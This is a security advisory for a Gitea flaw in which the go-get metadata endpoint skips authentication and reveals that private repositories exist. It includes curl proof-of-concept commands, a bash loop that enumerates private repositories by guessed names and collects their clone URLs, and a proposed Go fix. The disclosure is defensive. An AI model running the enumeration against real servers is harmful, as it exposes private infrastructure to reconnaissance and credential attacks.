GHSA-P4MJ-98MV-XQ26

Vulnerability from github – Published: 2026-07-21 20:23 – Updated: 2026-07-21 20:23
VLAI
Summary
Gitea: Private Repository Existence Disclosure via go-get Meta Endpoint
Details
Field Value
Affected File routers/web/repo/githttp.go, services/context/repo.go
Affected Functions httpBase(), EarlyResponseForGoGetMeta()
Affected Lines githttp.go:63–66, services/context/repo.go:374–396
Prerequisite None — fully unauthenticated

Description

Gitea implements a special behavior for requests containing the ?go-get=1 query parameter. This parameter is sent by the Go toolchain (go get, go install) to discover VCS metadata for module imports. When Gitea detects this parameter in the HTTP request path for a repository, it bypasses the normal authentication and authorization stack and returns an HTTP 200 response containing <meta name="go-import"> and <meta name="go-source"> tags — regardless of whether:

  • The repository is private
  • The requesting user is authenticated
  • The requesting user has any permission on the repository

The entry point is routers/web/repo/githttp.go:63–66:

func httpBase(ctx *context.Context, optGitService ...string) *serviceHandler {
    reponame := strings.TrimSuffix(ctx.PathParam("reponame"), ".git")

    if ctx.FormString("go-get") == "1" {
        context.EarlyResponseForGoGetMeta(ctx)
        return nil   // ← returns before any auth or permission check
    }
    ...

The EarlyResponseForGoGetMeta function (services/context/repo.go:379–396) is called unconditionally, and the function's own docstring documents the intended behavior:

// EarlyResponseForGoGetMeta responses appropriate go-get meta with status 200
// if user does not have actual access to the requested repository,
// or the owner or repository does not exist at all.
// This is particular a workaround for "go get" command which does not respect
// .netrc file.
func EarlyResponseForGoGetMeta(ctx *Context) {
    username := ctx.PathParam("username")
    reponame := strings.TrimSuffix(ctx.PathParam("reponame"), ".git")
    ...
    ctx.PlainText(http.StatusOK, htmlMeta)   // ← HTTP 200, no auth check
}

The function also appears at services/context/repo.go:444, 516, 571 — all repository-scoped route handlers that check ?go-get=1 and call EarlyResponseForGoGetMeta before performing any permission verification.

The metadata returned includes:

  1. The full repository name and owner — confirming the repository exists
  2. The HTTP clone URL — a fully-formed URL pointing to the repository
  3. The source browsing URL templates — which may reveal the default branch name

This allows an unauthenticated attacker to:

  1. Confirm existence of any private repository by name
  2. Enumerate private repository names through brute-force without triggering authentication failures
  3. Harvest clone URLs and default branch names of private repositories

Proof of Concept

Step 1 — Identify a private repository

Any private repository works. For this demonstration, admin/classified-internal is set to private:


Step 2 — Confirm access is denied without authentication

Standard requests to a private repository correctly return 404 for unauthenticated users.


Step 3 — Bypass using go-get parameter

curl -s "http://localhost:3000/admin/classified-internal?go-get=1"

Actual response (HTTP 200):

<!doctype html>
<html>
    <head>
        <meta name="go-import"
              content="localhost:3000/admin/classified-internal
                       git
                       http://localhost:3000/admin/classified-internal.git">
        <meta name="go-source"
              content="localhost:3000/admin/classified-internal
                       _
                       http://localhost:3000/admin/classified-internal/src/branch/main{/dir}
                       http://localhost:3000/admin/classified-internal/src/branch/main{/dir}/{file}#L{line}">
    </head>
    <body>
        go get --insecure localhost:3000/admin/classified-internal
    </body>
</html>

The response: - Returns HTTP 200 (not 404) — confirming the repository exists - Reveals the full clone URL: http://localhost:3000/admin/classified-internal.git - Reveals the default branch name: main - Reveals the owner username: admin

This same response is returned whether or not the repository exists — the comment in EarlyResponseForGoGetMeta states it responds identically for both — however in practice, the clone URL generated will be functionally different (a real clone attempt against a non-existent repo fails, while one against a private repo fails only at authentication). An attacker can differentiate using response timing or by attempting git ls-remote.


Step 4 — Enumerate private repositories at scale

# Enumerate private repos by guessing common names
for name in internal deploy secrets infra api-keys prod-config db-creds; do
  response=$(curl -s "http://localhost:3000/admin/${name}?go-get=1")
  if echo "$response" | grep -q "go-import"; then
    clone_url=$(echo "$response" | grep -oP 'git http://\K[^ "]+')
    echo "[FOUND] admin/${name} → clone: http://${clone_url}"
  fi
done

Step 5 — Verify the same applies to the main web router

The vulnerability also exists via the standard web router for repository pages:

# Works on any repo-scoped URL
curl -s "http://localhost:3000/admin/classified-internal/releases?go-get=1" | grep "go-import"
curl -s "http://localhost:3000/admin/classified-internal/issues?go-get=1"   | grep "go-import"

All return HTTP 200 with the metadata.


Impact Analysis

Direct impact:

What is leaked Sensitivity
Repository exists Confirms presence of private infrastructure code, internal tooling, unreleased products
Owner / organization name Reveals organizational structure
Clone URL Provides a direct endpoint for credential-stuffing attacks against git HTTP endpoint
Default branch name Reduces brute-force surface for subsequent attacks

Root Cause Analysis

The bypass was introduced intentionally as a workaround for the Go toolchain's limitation of not reading .netrc credentials before deciding whether a module is accessible. The Go go get command probes the VCS endpoint without credentials first; if it gets a 404, it treats the module as non-existent and fails immediately without prompting for credentials.

The workaround — returning metadata unconditionally — was the path of least resistance for enabling private module imports. The unintended consequence is that it creates an unauthenticated information disclosure endpoint for every repository in the instance.


Recommended Fix

The fix requires differentiating between requests that carry authentication credentials and those that do not, before calling EarlyResponseForGoGetMeta.

// routers/web/repo/githttp.go:63–66 — proposed fix

if ctx.FormString("go-get") == "1" {
    // For public repos, always respond to support the go toolchain
    if repo != nil && !repo.IsPrivate {
        context.EarlyResponseForGoGetMeta(ctx)
        return nil
    }
    // For private repos, only respond if the user is authenticated
    // and has at least read access
    if ctx.IsSigned {
        if perm, err := access_model.GetDoerRepoPermission(ctx, repo, ctx.Doer); err == nil {
            if perm.CanRead(unit.TypeCode) {
                context.EarlyResponseForGoGetMeta(ctx)
                return nil
            }
        }
    }
    // Unauthenticated request for a private repo — return 404 consistent
    // with normal behavior; the go toolchain will prompt for credentials
    ctx.PlainText(http.StatusNotFound, "Repository not found")
    return nil
}

This approach preserves the go-get functionality for public repositories while protecting private ones. The Go toolchain will fall back to prompting for credentials when it receives a 404, which is the correct behavior for private module imports.


Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.27.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-58507"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T20:23:48Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "| Field | Value |\n|-------|-------|\n| **Affected File** | `routers/web/repo/githttp.go`, `services/context/repo.go` |\n| **Affected Functions** | `httpBase()`, `EarlyResponseForGoGetMeta()` |\n| **Affected Lines** | `githttp.go:63\u201366`, `services/context/repo.go:374\u2013396` |\n| **Prerequisite** | None \u2014 fully unauthenticated |\n\n---\n\n#### Description\n\nGitea implements a special behavior for requests containing the `?go-get=1` query parameter. This parameter is sent by the Go toolchain (`go get`, `go install`) to discover VCS metadata for module imports. When Gitea detects this parameter in the HTTP request path for a repository, it bypasses the normal authentication and authorization stack and returns an HTTP 200 response containing `\u003cmeta name=\"go-import\"\u003e` and `\u003cmeta name=\"go-source\"\u003e` tags \u2014 regardless of whether:\n\n- The repository is private\n- The requesting user is authenticated\n- The requesting user has any permission on the repository\n\nThe entry point is `routers/web/repo/githttp.go:63\u201366`:\n\n```go\nfunc httpBase(ctx *context.Context, optGitService ...string) *serviceHandler {\n    reponame := strings.TrimSuffix(ctx.PathParam(\"reponame\"), \".git\")\n\n    if ctx.FormString(\"go-get\") == \"1\" {\n        context.EarlyResponseForGoGetMeta(ctx)\n        return nil   // \u2190 returns before any auth or permission check\n    }\n    ...\n```\n\nThe `EarlyResponseForGoGetMeta` function (`services/context/repo.go:379\u2013396`) is called unconditionally, and the function\u0027s own docstring documents the intended behavior:\n\n```go\n// EarlyResponseForGoGetMeta responses appropriate go-get meta with status 200\n// if user does not have actual access to the requested repository,\n// or the owner or repository does not exist at all.\n// This is particular a workaround for \"go get\" command which does not respect\n// .netrc file.\nfunc EarlyResponseForGoGetMeta(ctx *Context) {\n    username := ctx.PathParam(\"username\")\n    reponame := strings.TrimSuffix(ctx.PathParam(\"reponame\"), \".git\")\n    ...\n    ctx.PlainText(http.StatusOK, htmlMeta)   // \u2190 HTTP 200, no auth check\n}\n```\n\nThe function also appears at `services/context/repo.go:444, 516, 571` \u2014 all repository-scoped route handlers that check `?go-get=1` and call `EarlyResponseForGoGetMeta` before performing any permission verification.\n\nThe metadata returned includes:\n\n1. The **full repository name** and owner \u2014 confirming the repository exists\n2. The **HTTP clone URL** \u2014 a fully-formed URL pointing to the repository\n3. The **source browsing URL templates** \u2014 which may reveal the default branch name\n\nThis allows an unauthenticated attacker to:\n\n1. **Confirm existence** of any private repository by name\n2. **Enumerate** private repository names through brute-force without triggering authentication failures\n3. **Harvest** clone URLs and default branch names of private repositories\n\n---\n\n#### Proof of Concept\n\n**Step 1 \u2014 Identify a private repository**\n\nAny private repository works. For this demonstration, `admin/classified-internal` is set to private:\n\n---\n\n**Step 2 \u2014 Confirm access is denied without authentication**\n\nStandard requests to a private repository correctly return 404 for unauthenticated users.\n\n---\n\n**Step 3 \u2014 Bypass using go-get parameter**\n\n```bash\ncurl -s \"http://localhost:3000/admin/classified-internal?go-get=1\"\n```\n\n**Actual response (HTTP 200):**\n\n```html\n\u003c!doctype html\u003e\n\u003chtml\u003e\n    \u003chead\u003e\n        \u003cmeta name=\"go-import\"\n              content=\"localhost:3000/admin/classified-internal\n                       git\n                       http://localhost:3000/admin/classified-internal.git\"\u003e\n        \u003cmeta name=\"go-source\"\n              content=\"localhost:3000/admin/classified-internal\n                       _\n                       http://localhost:3000/admin/classified-internal/src/branch/main{/dir}\n                       http://localhost:3000/admin/classified-internal/src/branch/main{/dir}/{file}#L{line}\"\u003e\n    \u003c/head\u003e\n    \u003cbody\u003e\n        go get --insecure localhost:3000/admin/classified-internal\n    \u003c/body\u003e\n\u003c/html\u003e\n```\n\nThe response:\n- Returns HTTP **200** (not 404) \u2014 confirming the repository **exists**\n- Reveals the **full clone URL**: `http://localhost:3000/admin/classified-internal.git`\n- Reveals the **default branch name**: `main`\n- Reveals the **owner username**: `admin`\n\nThis same response is returned whether or not the repository exists \u2014 the comment in `EarlyResponseForGoGetMeta` states it responds identically for both \u2014 however in practice, the clone URL generated will be functionally different (a real clone attempt against a non-existent repo fails, while one against a private repo fails only at authentication). An attacker can differentiate using response timing or by attempting `git ls-remote`.\n\n---\n\n**Step 4 \u2014 Enumerate private repositories at scale**\n\n```bash\n# Enumerate private repos by guessing common names\nfor name in internal deploy secrets infra api-keys prod-config db-creds; do\n  response=$(curl -s \"http://localhost:3000/admin/${name}?go-get=1\")\n  if echo \"$response\" | grep -q \"go-import\"; then\n    clone_url=$(echo \"$response\" | grep -oP \u0027git http://\\K[^ \"]+\u0027)\n    echo \"[FOUND] admin/${name} \u2192 clone: http://${clone_url}\"\n  fi\ndone\n```\n\n---\n\n**Step 5 \u2014 Verify the same applies to the main web router**\n\nThe vulnerability also exists via the standard web router for repository pages:\n\n```bash\n# Works on any repo-scoped URL\ncurl -s \"http://localhost:3000/admin/classified-internal/releases?go-get=1\" | grep \"go-import\"\ncurl -s \"http://localhost:3000/admin/classified-internal/issues?go-get=1\"   | grep \"go-import\"\n```\n\nAll return HTTP 200 with the metadata.\n\n---\n\n#### Impact Analysis\n\n**Direct impact:**\n\n| What is leaked | Sensitivity |\n|----------------|-------------|\n| Repository exists | Confirms presence of private infrastructure code, internal tooling, unreleased products |\n| Owner / organization name | Reveals organizational structure |\n| Clone URL | Provides a direct endpoint for credential-stuffing attacks against git HTTP endpoint |\n| Default branch name | Reduces brute-force surface for subsequent attacks |\n\n---\n\n#### Root Cause Analysis\n\nThe bypass was introduced intentionally as a workaround for the Go toolchain\u0027s limitation of not reading `.netrc` credentials before deciding whether a module is accessible. The Go `go get` command probes the VCS endpoint without credentials first; if it gets a 404, it treats the module as non-existent and fails immediately without prompting for credentials.\n\nThe workaround \u2014 returning metadata unconditionally \u2014 was the path of least resistance for enabling private module imports. The unintended consequence is that it creates an unauthenticated information disclosure endpoint for every repository in the instance.\n\n---\n\n#### Recommended Fix\n\nThe fix requires differentiating between requests that carry authentication credentials and those that do not, before calling `EarlyResponseForGoGetMeta`.\n\n```go\n// routers/web/repo/githttp.go:63\u201366 \u2014 proposed fix\n\nif ctx.FormString(\"go-get\") == \"1\" {\n    // For public repos, always respond to support the go toolchain\n    if repo != nil \u0026\u0026 !repo.IsPrivate {\n        context.EarlyResponseForGoGetMeta(ctx)\n        return nil\n    }\n    // For private repos, only respond if the user is authenticated\n    // and has at least read access\n    if ctx.IsSigned {\n        if perm, err := access_model.GetDoerRepoPermission(ctx, repo, ctx.Doer); err == nil {\n            if perm.CanRead(unit.TypeCode) {\n                context.EarlyResponseForGoGetMeta(ctx)\n                return nil\n            }\n        }\n    }\n    // Unauthenticated request for a private repo \u2014 return 404 consistent\n    // with normal behavior; the go toolchain will prompt for credentials\n    ctx.PlainText(http.StatusNotFound, \"Repository not found\")\n    return nil\n}\n```\n\nThis approach preserves the go-get functionality for public repositories while protecting private ones. The Go toolchain will fall back to prompting for credentials when it receives a 404, which is the correct behavior for private module imports.\n\n---",
  "id": "GHSA-p4mj-98mv-xq26",
  "modified": "2026-07-21T20:23:48Z",
  "published": "2026-07-21T20:23:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-p4mj-98mv-xq26"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gitea: Private Repository Existence Disclosure via go-get Meta Endpoint"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…